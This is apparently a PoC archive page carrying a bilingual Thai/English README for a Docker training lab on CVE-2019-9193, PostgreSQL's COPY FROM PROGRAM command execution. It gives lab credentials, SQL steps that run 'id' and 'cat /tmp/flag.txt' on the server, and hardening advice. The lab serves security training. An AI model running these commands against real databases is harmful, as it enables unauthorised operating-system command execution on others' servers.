Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2019-9193 PoC — PostgreSQL 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:PostgreSQL 操作系统命令注入漏洞 (CVE-2019-9193)
Description:In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.
Description
This lab simulates CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE
Readme
# ENGLISH BELOW

# CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

<p align="center">
   <img width="500" height="500" alt="CVE20199193-2" src="https://github.com/user-attachments/assets/f0dfbcb5-3a93-4f63-8e1c-84a5d0ae3b68" />
</p>

Lab นี้จำลองช่องโหว่ **CVE-2019-9193** ที่เกิดใน PostgreSQL เวอร์ชัน 9.3 - 11.2 ซึ่งเปิดให้ user ที่เป็น superuser หรือมี role `pg_execute_server_program` สามารถใช้คำสั่ง:

```
COPY ... FROM PROGRAM '<command>'
```

เพื่อรันคำสั่ง OS ได้โดยตรง ส่งผลให้เกิด **Remote Command Execution (RCE)** หากผู้โจมตีสามารถเข้าถึงฐานข้อมูลได้

Lab นี้ให้คุณใช้ความสามารถดังกล่าวเพื่ออ่านไฟล์:

```
/tmp/flag.txt
```

---

## เป้าหมายของ Lab

1. เชื่อมต่อ PostgreSQL ด้วย:
   - User: postgres  
   - Password: sentinel7  
   - Port: 5433  
2. ใช้ `COPY FROM PROGRAM` เพื่อรันคำสั่ง OS  
3. อ่าน flag จาก `/tmp/flag.txt`

---

## การเริ่มต้น

```bash
docker compose build
docker compose up -d
```

จากนั้นเชื่อมต่อฐานข้อมูล:

```bash
psql -U postgres -h 127.0.0.1 -p 5433
```

---

## ขั้นตอนโจมตี

### 1) สร้างตารางเก็บ output

```sql
CREATE TABLE cmd_exec(cmd_output text);
```

### 2) ทดสอบ RCE ด้วยคำสั่ง `id`

```sql
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
```

### 3) อ่าน flag

```sql
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
```

ตัวอย่าง output:

```
flag{SECRET}
```

---

## ข้อแนะนำด้านความปลอดภัย

- ห้ามใช้ user `postgres` กับแอปจริง  
- จำกัด role ไม่ให้มี `pg_execute_server_program`  
- ปิดหรือจำกัดการใช้ COPY PROGRAM  
- ป้องกัน SQLi ในระบบทั้งหมด  

---

# ENGLISH VERSION

## CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

This lab simulates **CVE-2019-9193**, a PostgreSQL 9.3–11.2 vulnerability allowing:

```
COPY ... FROM PROGRAM '<command>'
```

to execute OS commands when run by a superuser or a role with `pg_execute_server_program`.

Your task is to exploit this feature to read:

```
/tmp/flag.txt
```

---

## Objective

1. Connect to PostgreSQL:
   - User: postgres  
   - Password: sentinel7  
   - Host port: 5433  
2. Use `COPY FROM PROGRAM` to:
   - Execute OS commands  
   - Retrieve the flag  

---

## Getting Started

```bash
docker compose build
docker compose up -d
```

Connect via:

```bash
psql -U postgres -h 127.0.0.1 -p 5433
```

---

## Exploitation

### 1) Create table

```sql
CREATE TABLE cmd_exec(cmd_output text);
```

### 2) Test RCE

```sql
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
```

### 3) Read the flag

```sql
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
```

---

## Security Notes

- Never run applications using PostgreSQL superuser  
- Do not grant `pg_execute_server_program` unnecessarily  
- Disable or restrict COPY PROGRAM  
- Harden apps against SQL injection  

---
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →